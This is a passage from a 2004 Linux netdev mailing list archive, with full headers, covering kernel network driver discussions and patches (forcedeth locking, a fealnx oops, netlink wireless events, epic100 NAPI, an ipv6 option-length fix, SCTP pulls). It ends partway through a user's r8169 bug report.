(PST) Received: from port.imtp.ilyichevsk.odessa.ua (167.imtp.Ilyichevsk.Odessa.UA [195.66.192.167] (may be forged)) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2O6nLKO009076 for ; Tue, 23 Mar 2004 22:49:22 -0800 Received: (qmail 1235 invoked by alias); 24 Mar 2004 06:49:16 -0000 Received: from unknown (HELO VDA) (172.16.42.177) by 0 (172.16.22.4) with ESMTP; 24 Mar 2004 06:49:16 -0000 Date: Wed, 24 Mar 2004 08:49:16 +0200 From: Denis Vlasenko X-Mailer: The Bat! (v1.44) Reply-To: Denis Vlasenko X-Priority: 3 (Normal) Message-ID: <17278479577.20040324084916@port.imtp.ilyichevsk.odessa.ua> To: Carl-Daniel Hailfinger , Jeff Garzik , Manfred Spraul CC: netdev@oss.sgi.com Subject: extra spinlocking in forcedeth 0.25 Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 4221 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: vda@port.imtp.ilyichevsk.odessa.ua Precedence: bulk X-list: netdev Content-Length: 757 Lines: 27 [I failed to find email addr of Andrew de Quincey, who added WOL support. Feel frre to forward this to him] In 0.23 -> 0.25 forcedeth diff I noticed this: + case ETHTOOL_GWOL: + { + struct ethtool_wolinfo wolinfo; + memset(&wolinfo, 0, sizeof(wolinfo)); + wolinfo.supported = WAKE_MAGIC; + + spin_lock_irq(&np->lock); + if (np->wolenabled) + wolinfo.wolopts = WAKE_MAGIC; + spin_unlock_irq(&np->lock); + + if (copy_to_user(useraddr, &wolinfo, sizeof(wolinfo))) + return -EFAULT; + return 0; + } IMHO this pair of lock()/unlock() is not needed and can be safely removed. -- vda From vda@port.imtp.ilyichevsk.odessa.ua Wed Mar 24 00:26:45 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 24 Mar 2004 00:27:16 -0800 (PST) Received: from port.imtp.ilyichevsk.odessa.ua (167.imtp.Ilyichevsk.Odessa.UA [195.66.192.167] (may be forged)) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2O8QcKO015844 for ; Wed, 24 Mar 2004 00:26:42 -0800 Received: (qmail 3112 invoked by alias); 24 Mar 2004 08:26:34 -0000 Received: from unknown (HELO VDA) (172.16.42.177) by 0 (172.16.22.4) with ESMTP; 24 Mar 2004 08:26:34 -0000 Date: Wed, 24 Mar 2004 10:26:34 +0200 From: Denis Vlasenko X-Mailer: The Bat! (v1.44) X-Priority: 3 (Normal) Message-ID: <18084317552.20040324102634@port.imtp.ilyichevsk.odessa.ua> To: netdev@oss.sgi.com CC: Jeff Garzik Subject: Follow-on: [OOPS] 2.4.25 fealnx: oops with heavy UDP traffic Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 4222 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: vda@port.imtp.ilyichevsk.odessa.ua Precedence: bulk X-list: netdev Content-Length: 1275 Lines: 30 I played with gcc -S a bit. drivers/net/fealnx.c:netdev_rx(): if (pkt_len < rx_copybreak && (skb = dev_alloc_skb(pkt_len + 2)) != NULL) { skb->dev = dev; skb_reserve(skb, 2); /* 16 byte align the IP header */ /* Call copy + cksum if available. */ #if ! defined(__alpha__) eth_copy_and_sum(skb, np->cur_rx->skbuff->tail, pkt_len, 0); skb_put(skb, pkt_len); #else memcpy(skb_put(skb, pkt_len), np->cur_rx->skbuff->tail, pkt_len); #endif } else { skb_put(skb = np->cur_rx->skbuff, pkt_len); ^^^^^^^^^^^^^^^^^^ oops happens here, np->cur_rx->skbuff is NULL np->cur_rx->skbuff = NULL; if (np->really_rx_count == RX_RING_SIZE) np->lack_rxbuf = np->cur_rx; --np->really_rx_count; } -- vda From pavlin@icir.org Wed Mar 24 04:09:27 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 24 Mar 2004 04:09:41 -0800 (PST) Received: from possum.icir.org (possum.icir.org [192.150.187.67]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2OC9OKO025339 for ; Wed, 24 Mar 2004 04:09:26 -0800 Received: from possum.icir.org (localhost [127.0.0.1]) by possum.icir.org (8.12.9p1/8.12.8) with ESMTP id i2OC5YRj006290; Wed, 24 Mar 2004 04:05:34 -0800 (PST) (envelope-from pavlin@possum.icir.org) Message-Id: <200403241205.i2OC5YRj006290@possum.icir.org> To: hadi@cyberus.ca cc: jt@hpl.hp.com, hostap@shmoo.com, netdev@oss.sgi.com, pavlin@icir.org Subject: Re: NETLINK upcalls and wireless events In-Reply-To: Message from jamal of "23 Mar 2004 23:52:25 EST." <1080103945.1472.56.camel@jzny.localdomain> Date: Wed, 24 Mar 2004 04:05:34 -0800 From: Pavlin Radoslavov X-archive-position: 4223 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: pavlin@icir.org Precedence: bulk X-list: netdev Content-Length: 2614 Lines: 60 > > > Checking whether the message contains the IFLA_WIRELESS field is > > > probably not an option, because I may be compiling the code on a > > > slightly older Linux box that doesn't have IFLA_WIRELESS defined. > > > The only solution I have so far is to check whether the message > > > contains the IFLA_IFNAME field, but this is more like a work-around > > > rather than a solution. Any suggestions? > > > > The method I personally use is that I keep a little database > > of interfaces (I need it for other reasons). Therefore, I know if the > > interface is new (not in my database) or already exist (present in my > > database). > > This is the best way to do it. > > > Note that in theory, RtNetlink messages may be lost (due to > > memory pressure). Also, you won't only get NEWLINK when interface > > register, but also when interface goes up and down, or when multicast > > or promiscuous flags are changed. Which mean that in practice you want > > to be much more clever than what you do now. > > If you maintain a database in userspace the real good check would be > the ifindex since this would be unique for the device and persistent. > The name can be changed. > If you already have the ifindex in your database then clearly thats just > an event announcement. Good point! I already have a database with all ifindex so the check will be trivial. I will try the other suggestions as well. > Next thing to check would be the state of the flags/changemask to see if > the admin status changed (eg ifconfig down ). > And of course whatever the IFLA_* attribs (which are optionaly sent). > Typically you can catch lost messages in netlink since the socket gets > its error flag set. You can use that as an event to check for changes. > > > > > Both methods you suggest would also work. If IFLA_WIRELESS > > doesn't exist, just define it : > > ----------------------------- > > #ifndef IFLA_WIRELESS > > #define IFLA_WIRELESS (IFLA_MASTER + 1) > > #endif /* IFLA_WIRELESS */ > > ----------------------------- > > > > The latest method is to look at both ifi_flags and > > ifi_change. If ifi_change is 0, it is usually a wireless event (but > > not always). > > mask should really indicate that something new is in the flags so > hopefuly it is not being arbitrarily set to 0 to indicate events. > Not too familiar with IFLA_WIRELESS - but is this a link event or is > something conviniently using the link message? What kind of things does > it announce/configure? I am not familiar with IFLA_WIRELESS either, so I don't know what type of event is. Thanks for all suggestions! Pavlin From romieu@fr.zoreil.com Wed Mar 24 04:37:13 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 24 Mar 2004 04:37:27 -0800 (PST) Received: from fr.zoreil.com (electric-eye.fr.zoreil.com [213.41.134.224]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2OCbBKO029248 for ; Wed, 24 Mar 2004 04:37:12 -0800 Received: from electric-eye.fr.zoreil.com (localhost.localdomain [127.0.0.1]) by fr.zoreil.com (8.12.8/8.12.1) with ESMTP id i2OCXegf024039; Wed, 24 Mar 2004 13:33:40 +0100 Received: (from romieu@localhost) by electric-eye.fr.zoreil.com (8.12.8/8.12.1) id i2OCXdnl024038; Wed, 24 Mar 2004 13:33:39 +0100 Date: Wed, 24 Mar 2004 13:33:39 +0100 From: Francois Romieu To: OGAWA Hirofumi Cc: Jeff Garzik , netdev@oss.sgi.com Subject: Re: [PATCH] [RFT] 2.6.4 - epic100 napi Message-ID: <20040324133339.A23643@electric-eye.fr.zoreil.com> References: <20040320152109.A31118@electric-eye.fr.zoreil.com> <405DDDC6.7030007@pobox.com> <8765cvmyaq.fsf@devron.myhome.or.jp> <20040323195119.A14062@electric-eye.fr.zoreil.com> <871xnjgwrs.fsf@devron.myhome.or.jp> <20040324014140.A16202@electric-eye.fr.zoreil.com> <87lllrdkiu.fsf@ibmpc.myhome.or.jp> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5.1i In-Reply-To: <87lllrdkiu.fsf@ibmpc.myhome.or.jp>; from hirofumi@mail.parknet.co.jp on Wed, Mar 24, 2004 at 11:52:09AM +0900 X-Organisation: Land of Sunshine Inc. X-archive-position: 4224 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: romieu@fr.zoreil.com Precedence: bulk X-list: netdev Content-Length: 983 Lines: 25 OGAWA Hirofumi : [...] > Do you care the lost interrupt? If so, I was miss reading it. > > IIRC, PCI spec requires the level-trigger. So devices asserts IRQ > signal until the driver clears the pending interrupt. No? The driver only masks the interruptions which are napi related so epic_poll() and epic_interrupt() are always racing. I completely agree that it "wastes" the nice behavior of level-triggered irq. If one wants to avoid the race, everything should go to the poll() handler. It implies polled access to the INTSTAT register (as done in epic_rx_err). I could not find in the archives some general napi-wisdom which suggests that everything has to go to the poll() handler, be it for simplicity or for a real gain. So I hesitate to follow the other way and exchange the polled access for some (locked) traffic between the poll() and the irq handler. Comments welcome. -- Ueimor From jgarzik@pobox.com Wed Mar 24 09:57:49 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 24 Mar 2004 09:57:54 -0800 (PST) Received: from www.linux.org.uk (IDENT:93@parcelfarce.linux.theplanet.co.uk [195.92.249.252]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2OHvmKO013185 for ; Wed, 24 Mar 2004 09:57:49 -0800 Received: from rdu74-153-143.nc.rr.com ([24.74.153.143] helo=pobox.com) by www.linux.org.uk with asmtp (TLSv1:AES256-SHA:256) (Exim 4.22) id 1B6CdP-0002Zd-AK; Wed, 24 Mar 2004 17:57:47 +0000 Message-ID: <4061CC0F.6060201@pobox.com> Date: Wed, 24 Mar 2004 12:57:35 -0500 From: Jeff Garzik User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030703 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Netdev Subject: 2.7 net driver stuff Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 4225 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jgarzik@pobox.com Precedence: bulk X-list: netdev Content-Length: 429 Lines: 16 An initial, quick FYI. I'll be taking input for net drivers that can be removed in 2.7. Even some of the ancient ISA net drivers still have users, Other stuff: * Would like to get rid of de4x5.c, but EISA support still has users that appear to care :) * pondering importing Donald's myson driver, replacing unmaintained fealnx.c. We have the new module_alias() stuff, which makes the transition a bit easier. Jeff From krkumar@us.ibm.com Wed Mar 24 11:24:28 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 24 Mar 2004 11:24:34 -0800 (PST) Received: from e35.co.us.ibm.com (e35.co.us.ibm.com [32.97.110.133]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2OJOLKO021281 for ; Wed, 24 Mar 2004 11:24:27 -0800 Received: from westrelay02.boulder.ibm.com (westrelay02.boulder.ibm.com [9.17.195.11]) by e35.co.us.ibm.com (8.12.10/8.12.2) with ESMTP id i2OJOCF4377512; Wed, 24 Mar 2004 14:24:12 -0500 Received: from DYN318430BLD.beaverton.ibm.com (d03av02.boulder.ibm.com [9.17.193.82]) by westrelay02.boulder.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i2OJO6n4379382; Wed, 24 Mar 2004 12:24:07 -0700 Date: Wed, 24 Mar 2004 11:20:06 -0800 (PST) From: Krishna Kumar X-X-Sender: krkumar@DYN318430BLD.beaverton.ibm.com To: "David S. Miller" cc: Krishna Kumar , Subject: [PATCH] ipv6 possible opt panic in ip6_append_data() In-Reply-To: <20040310144758.5e0b4c7c.davem@redhat.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 4226 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: krkumar@us.ibm.com Precedence: bulk X-list: netdev Content-Length: 1527 Lines: 42 [Old subject: Re: [PATCH AND RFC_PATCH] 1. Leak corking option in ipv4 2. ipv6 opt panic] Hi Dave, Following patch implements what you suggested. Thanks, - KK diff -ruN linux-2.6.5-rc2-bk4/net/ipv6/ip6_output.c linux-2.6.5-rc2-bk4.new/net/ipv6/ip6_output.c --- linux-2.6.5-rc2-bk4/net/ipv6/ip6_output.c 2004-03-24 11:13:23.000000000 -0800 +++ linux-2.6.5-rc2-bk4.new/net/ipv6/ip6_output.c 2004-03-24 11:13:07.000000000 -0800 @@ -821,6 +821,9 @@ sk->sk_allocation); if (unlikely(np->cork.opt == NULL)) return -ENOBUFS; + } else if (np->cork.opt->tot_len < opt->tot_len) { + printk(KERN_DEBUG "ip6_append_data: invalid option length\n"); + return -EINVAL; } memcpy(np->cork.opt, opt, opt->tot_len); inet->cork.flags |= IPCORK_OPT; > > I am not sure about this possible bug which is the RFC part of the > > subject. In IPv6 ip6_append_data(), if it is possible to add extra > > ipv6 > > options during multiple calls to append_data(), then the check for > > cork.opt could end up panicing the system because it is allocated > > for a smaller size of options. If this is a problem, then ipv4 might > > have > > a similar issue too. Note: Patch2 has a question embedded in it, I can > > send a better patch if you think the idea is right. > > This is possible, but an APP trying to do this is buggy as I cannot > see any sane semantics for this. > > I would rather we -EINVAL on such socket option changes if cork.opt is > non-NULL. Could you whip up a patch for that? Thanks. From davem@redhat.com Wed Mar 24 11:59:50 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 24 Mar 2004 11:59:59 -0800 (PST) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2OJxnKO023249 for ; Wed, 24 Mar 2004 11:59:49 -0800 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.12.10/8.12.10) with ESMTP id i2OJxmWA014292; Wed, 24 Mar 2004 14:59:48 -0500 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i2OJxmj16890; Wed, 24 Mar 2004 14:59:48 -0500 Received: from cheetah.davemloft.net (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.10/8.12.10) with SMTP id i2OJxU1n001621; Wed, 24 Mar 2004 14:59:31 -0500 Date: Wed, 24 Mar 2004 11:59:47 -0800 From: "David S. Miller" To: Sridhar Samudrala Cc: netdev@oss.sgi.com Subject: Re: [BK PATCH] 2.4 SCTP updates Message-Id: <20040324115947.0ce90907.davem@redhat.com> In-Reply-To: References: X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.10; sparc-unknown-linux-gnu) X-Face: "_;p5u5aPsO,_Vsx"^v-pEq09'CU4&Dc1$fQExov$62l60cgCc%FnIwD=.UF^a>?5'9Kn[;433QFVV9M..2eN.@4ZWPGbdi<=?[:T>y?SD(R*-3It"Vj:)"dP Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 4227 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev Content-Length: 246 Lines: 8 On Tue, 23 Mar 2004 12:15:41 -0800 (PST) Sridhar Samudrala wrote: > Please do a > bk pull http://linux-lksctp.bkbits.net/lksctp-2.4.work > to get the following update to SCTP on top of linux 2.4.26-pre5 Pulled, thanks. From davem@redhat.com Wed Mar 24 12:02:12 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 24 Mar 2004 12:02:15 -0800 (PST) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2OK2AKO023611 for ; Wed, 24 Mar 2004 12:02:11 -0800 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.12.10/8.12.10) with ESMTP id i2OK2AWA015166; Wed, 24 Mar 2004 15:02:10 -0500 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i2OK2Aj17718; Wed, 24 Mar 2004 15:02:10 -0500 Received: from cheetah.davemloft.net (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.10/8.12.10) with SMTP id i2OK1c1n002938; Wed, 24 Mar 2004 15:01:53 -0500 Date: Wed, 24 Mar 2004 12:01:55 -0800 From: "David S. Miller" To: Sridhar Samudrala Cc: netdev@oss.sgi.com Subject: Re: [BK PATCH] 2.6 SCTP updates. Message-Id: <20040324120155.115b52ff.davem@redhat.com> In-Reply-To: References: X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.10; sparc-unknown-linux-gnu) X-Face: "_;p5u5aPsO,_Vsx"^v-pEq09'CU4&Dc1$fQExov$62l60cgCc%FnIwD=.UF^a>?5'9Kn[;433QFVV9M..2eN.@4ZWPGbdi<=?[:T>y?SD(R*-3It"Vj:)"dP Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 4228 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev Content-Length: 239 Lines: 8 On Tue, 23 Mar 2004 12:13:56 -0800 (PST) Sridhar Samudrala wrote: > please do a > bk pull http://linux-lksctp.bkbits.net/lksctp-2.5.work > to get the following updates to SCTP on top of linux 2.6.5-rc2. Pulled, thanks. From davem@redhat.com Wed Mar 24 12:05:56 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 24 Mar 2004 12:05:58 -0800 (PST) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2OK5tKO024026 for ; Wed, 24 Mar 2004 12:05:56 -0800 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.12.10/8.12.10) with ESMTP id i2OK5rWA016811; Wed, 24 Mar 2004 15:05:53 -0500 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i2OK5qj19375; Wed, 24 Mar 2004 15:05:52 -0500 Received: from cheetah.davemloft.net (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.10/8.12.10) with SMTP id i2OK5Y1n005326; Wed, 24 Mar 2004 15:05:35 -0500 Date: Wed, 24 Mar 2004 12:05:51 -0800 From: "David S. Miller" To: Patrick McHardy Cc: gf.dellicarri@ncc.itgate.net, linux-kernel@vger.kernel.org, netdev@oss.sgi.com Subject: Re: Kernel 2.4.25 + VLAN + CBQ disc broken ? Message-Id: <20040324120551.29254b7c.davem@redhat.com> In-Reply-To: <4060C0A5.40402@trash.net> References: <4008E74134355D43998FFFC3D637BB030463DF@starsky.ncc.itgate.net> <4060C0A5.40402@trash.net> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.10; sparc-unknown-linux-gnu) X-Face: "_;p5u5aPsO,_Vsx"^v-pEq09'CU4&Dc1$fQExov$62l60cgCc%FnIwD=.UF^a>?5'9Kn[;433QFVV9M..2eN.@4ZWPGbdi<=?[:T>y?SD(R*-3It"Vj:)"dP Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 4229 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev Content-Length: 255 Lines: 7 On Tue, 23 Mar 2004 23:56:37 +0100 Patrick McHardy wrote: > Dave, the txqueuelen=0 fix for pfifo_fast apparently didn't went in > 2.4, this is the patch from 2.6, it applies with minor offset. Indeed, thanks Patrick I've applied this. From davem@redhat.com Wed Mar 24 14:00:05 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 24 Mar 2004 14:00:08 -0800 (PST) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2OM04KO031547 for ; Wed, 24 Mar 2004 14:00:04 -0800 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.12.10/8.12.10) with ESMTP id i2OM00WA024215; Wed, 24 Mar 2004 17:00:00 -0500 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i2OM00j22540; Wed, 24 Mar 2004 17:00:00 -0500 Received: from cheetah.davemloft.net (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.10/8.12.10) with SMTP id i2OLxe1n031553; Wed, 24 Mar 2004 16:59:42 -0500 Date: Wed, 24 Mar 2004 13:59:57 -0800 From: "David S. Miller" To: Julian Anastasov Cc: wensong@linux-vs.org, netdev@oss.sgi.com Subject: Re: [2.4/2.6] ipvs: improve conn rehashing, other fixes Message-Id: <20040324135957.0718c49b.davem@redhat.com> In-Reply-To: References: <20040321230703.408d2240.davem@redhat.com> <20040322183641.68ecb8a3.davem@redhat.com> <20040323004006.14b2373e.davem@redhat.com> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.10; sparc-unknown-linux-gnu) X-Face: "_;p5u5aPsO,_Vsx"^v-pEq09'CU4&Dc1$fQExov$62l60cgCc%FnIwD=.UF^a>?5'9Kn[;433QFVV9M..2eN.@4ZWPGbdi<=?[:T>y?SD(R*-3It"Vj:)"dP Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 4231 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev Content-Length: 272 Lines: 10 On Tue, 23 Mar 2004 10:48:40 +0200 (EET) Julian Anastasov wrote: > > Sorry, wires got crossed. Julian/Wensong, could you please resend > > that ip_vs_ctl.c locking change under seperate cover then? > > I still keep them, attached. Applied, thanks a lot. From davem@redhat.com Wed Mar 24 13:59:47 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 24 Mar 2004 13:59:50 -0800 (PST) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2OLxkKO031491 for ; Wed, 24 Mar 2004 13:59:47 -0800 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.12.10/8.12.10) with ESMTP id i2OLxeWA024096; Wed, 24 Mar 2004 16:59:40 -0500 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i2OLxej22460; Wed, 24 Mar 2004 16:59:40 -0500 Received: from cheetah.davemloft.net (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.10/8.12.10) with SMTP id i2OLxM1n031506; Wed, 24 Mar 2004 16:59:23 -0500 Date: Wed, 24 Mar 2004 13:59:39 -0800 From: "David S. Miller" To: Dmitry Torokhov Cc: linux-net@vger.kernel.org, netdev@oss.sgi.com Subject: Re: [PATCH 2/2 (resend)] TBF trailing whitespace fixes Message-Id: <20040324135939.4dff0560.davem@redhat.com> In-Reply-To: <200403230108.58006.dtor_core@ameritech.net> References: <200403230108.08384.dtor_core@ameritech.net> <200403230108.58006.dtor_core@ameritech.net> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.10; sparc-unknown-linux-gnu) X-Face: "_;p5u5aPsO,_Vsx"^v-pEq09'CU4&Dc1$fQExov$62l60cgCc%FnIwD=.UF^a>?5'9Kn[;433QFVV9M..2eN.@4ZWPGbdi<=?[:T>y?SD(R*-3It"Vj:)"dP Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 4230 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev Content-Length: 170 Lines: 6 Dmitry, I applied the first patch to both 2.4.x and 2.6.x The whitespace patch (the second one) only applies to 2.6.x, so a 2.4.x version would be appreciated. Thanks. From davem@redhat.com Wed Mar 24 14:07:30 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 24 Mar 2004 14:07:36 -0800 (PST) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2OM7TKO032336 for ; Wed, 24 Mar 2004 14:07:29 -0800 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.12.10/8.12.10) with ESMTP id i2OM7QWA026896; Wed, 24 Mar 2004 17:07:26 -0500 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i2OM7Qj25033; Wed, 24 Mar 2004 17:07:26 -0500 Received: from cheetah.davemloft.net (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.10/8.12.10) with SMTP id i2OM781n002400; Wed, 24 Mar 2004 17:07:08 -0500 Date: Wed, 24 Mar 2004 14:07:25 -0800 From: "David S. Miller" To: Krishna Kumar Cc: krkumar@us.ibm.com, netdev@oss.sgi.com Subject: Re: [PATCH] ipv6 possible opt panic in ip6_append_data() Message-Id: <20040324140725.1c45cc58.davem@redhat.com> In-Reply-To: References: <20040310144758.5e0b4c7c.davem@redhat.com> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.10; sparc-unknown-linux-gnu) X-Face: "_;p5u5aPsO,_Vsx"^v-pEq09'CU4&Dc1$fQExov$62l60cgCc%FnIwD=.UF^a>?5'9Kn[;433QFVV9M..2eN.@4ZWPGbdi<=?[:T>y?SD(R*-3It"Vj:)"dP Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 4232 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev Content-Length: 462 Lines: 16 On Wed, 24 Mar 2004 11:20:06 -0800 (PST) Krishna Kumar wrote: > [Old subject: Re: [PATCH AND RFC_PATCH] 1. Leak corking option in ipv4 2. > ipv6 opt panic] ... > Following patch implements what you suggested. ... > + } else if (np->cork.opt->tot_len < opt->tot_len) { > + printk(KERN_DEBUG "ip6_append_data: invalid option length\n"); > + return -EINVAL; > } Perfect, thanks for following up on this Krishna. Patch applied. From markes.albert@libero.it Wed Mar 24 14:10:20 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 24 Mar 2004 14:10:23 -0800 (PST) Received: from smtp2.libero.it (smtp2.libero.it [193.70.192.52]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2OMAJKO032683 for ; Wed, 24 Mar 2004 14:10:20 -0800 Received: from libero.it (172.16.1.103) by smtp2.libero.it (7.0.027-DD01) id 404F13FC001D851D; Wed, 24 Mar 2004 23:10:44 +0100 Date: Wed, 24 Mar 2004 23:10:06 +0100 Message-Id: Subject: Net module Realtek 8110S/8169S MIME-Version: 1.0 X-Sensitivity: 3 Content-Type: multipart/mixed; boundary="_=__=_XaM3_.1080166206.2A.785848.42.12147.52.42.007.13034" From: "markes\.albert\@libero\.it" To: "romieu" Cc: "netdev" X-XaM3-API-Version: 4.1 (B27) X-type: 0 X-SenderIP: 151.38.102.202 X-archive-position: 4233 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: markes.albert@libero.it Precedence: bulk X-list: netdev Content-Length: 11104 Lines: 190 --_=__=_XaM3_.1080166206.2A.785848.42.12147.52.42.007.13034 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: quoted-printable Hi Francois, Fisrt, excuse for my bad english. I have big problem = with module r8169 shipped with kernel 2.6.4. My system is a Pentium4HT, = mainborad is a MSI 865PE Neo2-P with integrated Fast Ethernet Realtek 81= 10s/8169S (as I see in bios message). When I transfer a big file (size >= 5Mb) from my system to another PC, it freeze without any message. The=0D = only messages that I see in the log are some line with text "eth0: Too mu= ch work at interrupt!", not at same time with hang. I think is NIC modul= e problem because only operation I do is transfer file (with samba clie= nt) in tty (not in X). With kernel 2.6.3 the problem isn't show. A= s you write in README.txt in your site in /linux/kernel/2.6.x/2.6.4-rc2 I= tryed disable SMP and the new fetaure "SMT (Hyperthreading) scheduler s= upport", "Preemptible Kernel" and ACPI/APM support. But the problem pers= ists. With Kernel 2.6.3 I noticed only a thing, if I unplugged the = cable and re-plug the network not respond (not link on NIC). Only if I s= top and start then daemon, network return-up. I have an 10Mbit Hu= b, but both problem rise if I use a switch 10/100 Mbit. I can't test wit= h GBit. I send you 'dmesg', 'lspci', 'lsmod', 'cat 